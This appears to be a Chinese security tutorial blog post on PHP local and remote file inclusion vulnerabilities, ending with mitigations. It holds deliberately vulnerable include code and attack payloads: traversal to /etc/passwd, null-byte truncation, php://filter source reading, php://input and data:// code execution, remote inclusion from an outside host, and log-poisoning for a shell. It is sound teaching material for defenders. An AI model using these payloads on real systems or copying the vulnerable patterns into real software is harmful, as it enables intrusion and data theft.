文件包含

什么是文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个
函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称
为文件包含。
例如:include “conn.php”

PHP中常见包含文件函数
include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进 来,发生错误时之给出一个警告,继续向下执行。 include_once() 功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次 require() require()与include()的区别在于require()执行如果发生错误,函数会输出 错误信息,并终止脚本的运行。
require_once() 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别 @ inlude :包含的文件不存在,程序会继续执行
@ require:包含文件不存在,程序停止执行 (如果出现语法错误,两个不会继续执行, 如果是找不到这个文件,include继续执行,require,停止执行)

背景
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做防范就造成了文件包含漏洞。


文件包含漏洞原理
文件包含漏洞产生的原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过。

常见漏洞代码

if(isset($_GET[page])){ 
include $_GET[page]; 
}else{
 include "home.php"; 
 }

文件包含漏洞危害
• 配合文件上传漏洞GetShell
• 可以执行任意脚本代码
• 网站源码文件以及配置文件泄露
• 远程包含GetShell
• 控制整个网站甚至是服务器

文件包含漏洞的分类
• 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
• 本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选 项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。

本地文件包含利用
• 上传图片马,包含图片马GetShell
• 读取网站源码以及配置文件
• 包含日志文件GetShell

包含上传图片_001

<?php if(isset($_GET[page])){ include($_GET[page]); }else{ include ‘show.php'; } ?>

包含上传图片_002

<?php if(isset($_GET[page])){ include('./action/' . $_GET[page]); }else{ include './action/show.php'; } ?>

包含上传图片_003

<?php if(isset($_GET[page])){ include('./action/'. $_GET[page] . '.php'); }else{ include './action/show.php'; } ?>

%00截断
• /etc/passwd%00 • 需要 magic_quotes_gpc=off,PHP小于5.3.4有效

路径长度截断
• /etc/passwd././././././././././././.[…]/././././././././. • php版本小于5.2.8可以成功,linux需要文件名长于4096, windows需要长于256

读服务器本地文件
?page=…/…/…/…/…/…/…/etc/passwd

读网站源码文件
index.php?page=php://filter/read=convert.base64encode/resource=index.php

伪协议:
@ 直接包含木马文件,可以是图片,txt,压缩包…
@ ?page=php://input 接收post请求需要开启 仅需要开启 allow_url_include
@ ?page=http://172.18.11.66/0831/1.txt 需要开启 allow_url_fopen,allow_url_include (远程包含)
@ ?page=php://filter/read=convert.base64encode/resource=main.php (读取文件源码)
@ ?page=data://text/plain,<?php phpinfo();?> 需要开启allow_url_fopen,allow_url_include

包含日志文件GetShell

  1. 首先 找到日志文件存放位置
  2. 让日志文件插入PHP代码
  3. 包含日志文件

远程文件包含利用
包含远程txt文件(php.ini的配置选项allow_url_fopen和allow_url_include为on),远程服务器上存放一个txt文件,或者不被解析的php文件。(因为包含的时候返回的是php源代
码,所以不能被解析)

index.php?page=http://www.xxx.com/1.txt

漏洞挖掘
• 没有通用的挖掘办法
• 特定的CMS,特定的版本可能存在漏洞(include,require)
• Web漏洞扫描器扫描,常见的web漏洞扫描器都支持可以检测。

修复办法
• PHP中使用open_basedir配置限制访问在指定的区域
• 过滤.(点)/(反斜杠)\(反 斜杠)
• 禁止服务器远程文件包含 (allow_url_fopen,allow_url_include,off)@[TOC]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值